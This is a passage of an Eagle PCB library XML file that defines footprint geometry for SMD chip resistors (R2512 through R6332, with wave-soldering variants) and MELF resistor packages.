layer=\"35\"/>\n</package>\n<package name=\"R2512\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-2.362\" y1=\"1.473\" x2=\"2.387\" y2=\"1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.362\" y1=\"-1.473\" x2=\"2.387\" y2=\"-1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.8\" y=\"0\" dx=\"1.8\" dy=\"3.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.8\" y=\"0\" dx=\"1.8\" dy=\"3.2\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.2004\" y1=\"-1.5494\" x2=\"-2.3505\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"2.3622\" y1=\"-1.5494\" x2=\"3.2121\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R2512W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nwave soldering</description>\n<wire x1=\"-2.362\" y1=\"1.473\" x2=\"2.387\" y2=\"1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.362\" y1=\"-1.473\" x2=\"2.387\" y2=\"-1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.896\" y=\"0\" dx=\"2\" dy=\"2.1\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.896\" y=\"0\" dx=\"2\" dy=\"2.1\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.2004\" y1=\"-1.5494\" x2=\"-2.3505\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"2.3622\" y1=\"-1.5494\" x2=\"3.2121\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R3216\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-0.913\" y1=\"0.8\" x2=\"0.888\" y2=\"0.8\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-0.8\" x2=\"0.888\" y2=\"-0.8\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-0.8763\" x2=\"-0.9009\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"0.889\" y1=\"-0.8763\" x2=\"1.6391\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"R3216W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nwave soldering</description>\n<wire x1=\"-0.913\" y1=\"0.8\" x2=\"0.888\" y2=\"0.8\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-0.8\" x2=\"0.888\" y2=\"-0.8\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.499\" y=\"0\" dx=\"1.8\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.499\" y=\"0\" dx=\"1.8\" dy=\"1.2\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-0.8763\" x2=\"-0.9009\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"0.889\" y1=\"-0.8763\" x2=\"1.6391\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"R3225\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-0.913\" y1=\"1.219\" x2=\"0.939\" y2=\"1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-1.219\" x2=\"0.939\" y2=\"-1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-1.3081\" x2=\"-0.9009\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"0.9144\" y1=\"-1.3081\" x2=\"1.6645\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-1\" x2=\"0.3\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R3225W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nwave soldering</description>\n<wire x1=\"-0.913\" y1=\"1.219\" x2=\"0.939\" y2=\"1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-1.219\" x2=\"0.939\" y2=\"-1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.499\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.499\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-1.3081\" x2=\"-0.9009\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"0.9144\" y1=\"-1.3081\" x2=\"1.6645\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-1\" x2=\"0.3\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R5025\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-1.662\" y1=\"1.245\" x2=\"1.662\" y2=\"1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.637\" y1=\"-1.245\" x2=\"1.687\" y2=\"-1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.2\" y=\"0\" dx=\"1.8\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.2\" y=\"0\" dx=\"1.8\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-3.175\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.4892\" y1=\"-1.3208\" x2=\"-1.6393\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"1.651\" y1=\"-1.3208\" x2=\"2.5009\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R5025W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nwave soldering</description>\n<wire x1=\"-1.662\" y1=\"1.245\" x2=\"1.662\" y2=\"1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.637\" y1=\"-1.245\" x2=\"1.687\" y2=\"-1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.311\" y=\"0\" dx=\"2\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.311\" y=\"0\" dx=\"2\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-3.175\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.4892\" y1=\"-1.3208\" x2=\"-1.6393\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"1.651\" y1=\"-1.3208\" x2=\"2.5009\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R6332\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nSource: http://download.siliconexpert.com/pdfs/2005/02/24/Semi_Ap/2/VSH/Resistor/dcrcwfre.pdf</description>\n<wire x1=\"-2.362\" y1=\"1.473\" x2=\"2.387\" y2=\"1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.362\" y1=\"-1.473\" x2=\"2.387\" y2=\"-1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-3.1\" y=\"0\" dx=\"1\" dy=\"3.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"3.1\" y=\"0\" dx=\"1\" dy=\"3.2\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.2004\" y1=\"-1.5494\" x2=\"-2.3505\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"2.3622\" y1=\"-1.5494\" x2=\"3.2121\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R6332W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt; wave soldering&lt;p&gt;\nSource: http://download.siliconexpert.com/pdfs/2005/02/24/Semi_Ap/2/VSH/Resistor/dcrcwfre.pdf</description>\n<wire x1=\"-2.362\" y1=\"1.473\" x2=\"2.387\" y2=\"1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.362\" y1=\"-1.473\" x2=\"2.387\" y2=\"-1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-3.196\" y=\"0\" dx=\"1.2\" dy=\"3.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"3.196\" y=\"0\" dx=\"1.2\" dy=\"3.2\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.2004\" y1=\"-1.5494\" x2=\"-2.3505\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"2.3622\" y1=\"-1.5494\" x2=\"3.2121\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"M0805\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.10 W</description>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"0.7112\" y1=\"0.635\" x2=\"-0.7112\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.635\" x2=\"-0.7112\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.0414\" y1=\"-0.7112\" x2=\"-0.6858\" y2=\"0.7112\" layer=\"51\"/>\n<rectangle x1=\"0.6858\" y1=\"-0.7112\" x2=\"1.0414\" y2=\"0.7112\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.5999\" x2=\"0.1999\" y2=\"0.5999\" layer=\"35\"/>\n</package>\n<package name=\"M1206\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.25 W</description>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.143\" y1=\"0.8382\" x2=\"-1.143\" y2=\"0.8382\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"-0.8382\" x2=\"-1.143\" y2=\"-0.8382\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.7018\" y1=\"-0.9144\" x2=\"-1.1176\" y2=\"0.9144\" layer=\"51\"/>\n<rectangle x1=\"1.1176\" y1=\"-0.9144\" x2=\"1.7018\" y2=\"0.9144\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.8001\" x2=\"0.3\" y2=\"0.8001\" layer=\"35\"/>\n</package>\n<package name=\"M1406\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.12 W</description>\n<wire x1=\"-2.973\" y1=\"0.983\" x2=\"2.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"-0.983\" x2=\"-2.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.973\" y1=\"-0.983\" x2=\"-2.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"0.983\" x2=\"2.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.3208\" y1=\"0.762\" x2=\"-1.3208\" y2=\"0.762\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3208\" y1=\"-0.762\" x2=\"-1.3208\" y2=\"-0.762\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.7\" y=\"0\" dx=\"1.4\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.7\" y=\"0\" dx=\"1.4\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.8542\" y1=\"-0.8382\" x2=\"-1.2954\" y2=\"0.8382\" layer=\"51\"/>\n<rectangle x1=\"1.2954\" y1=\"-0.8382\" x2=\"1.8542\" y2=\"0.8382\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"M2012\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.10 W</description>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"0.7112\" y1=\"0.635\" x2=\"-0.7112\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.635\" x2=\"-0.7112\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.0414\" y1=\"-0.7112\" x2=\"-0.6858\" y2=\"0.7112\" layer=\"51\"/>\n<rectangle x1=\"0.6858\" y1=\"-0.7112\" x2=\"1.0414\" y2=\"0.7112\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.5999\" x2=\"0.1999\" y2=\"0.5999\" layer=\"35\"/>\n</package>\n<package name=\"M2309\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.25 W</description>\n<wire x1=\"-4.473\" y1=\"1.483\" x2=\"4.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"4.473\" y1=\"-1.483\" x2=\"-4.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-4.473\" y1=\"-1.483\" x2=\"-4.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"4.473\" y1=\"1.483\" x2=\"4.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.413\" y1=\"1.1684\" x2=\"-2.4384\" y2=\"1.1684\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-1.1684\" x2=\"-2.413\" y2=\"-1.1684\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.85\" y=\"0\" dx=\"1.5\" dy=\"2.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.85\" y=\"0\" dx=\"1.5\" dy=\"2.6\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.048\" y1=\"-1.2446\" x2=\"-2.3876\" y2=\"1.2446\" layer=\"51\"/>\n<rectangle x1=\"2.3876\" y1=\"-1.2446\" x2=\"3.048\" y2=\"1.2446\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"M3216\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.25 W</description>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.143\" y1=\"0.8382\" x2=\"-1.143\" y2=\"0.8382\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"-0.8382\" x2=\"-1.143\" y2=\"-0.8382\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.7018\" y1=\"-0.9144\" x2=\"-1.1176\" y2=\"0.9144\" layer=\"51\"/>\n<rectangle x1=\"1.1176\" y1=\"-0.9144\" x2=\"1.7018\" y2=\"0.9144\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.8001\" x2=\"0.3\" y2=\"0.8001\" layer=\"35\"/>\n</package>\n<package name=\"M3516\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.12 W</description>\n<wire x1=\"-2.973\" y1=\"0.983\" x2=\"2.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"-0.983\" x2=\"-2.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.973\" y1=\"-0.983\" x2=\"-2.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"0.983\" x2=\"2.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.3208\" y1=\"0.762\" x2=\"-1.3208\" y2=\"0.762\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3208\" y1=\"-0.762\" x2=\"-1.3208\" y2=\"-0.762\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.7\" y=\"0\" dx=\"1.4\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.7\" y=\"0\" dx=\"1.4\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.8542\" y1=\"-0.8382\" x2=\"-1.2954\" y2=\"0.8382\" layer=\"51\"/>\n<rectangle x1=\"1.2954\" y1=\"-0.8382\" x2=\"1.8542\" y2=\"0.8382\" layer=\"51\"/>\n<rectangle x1=\"-0.4001\" y1=\"-0.7\" x2=\"0.4001\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"M5923\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nMELF 0.25 W</description>\n<wire 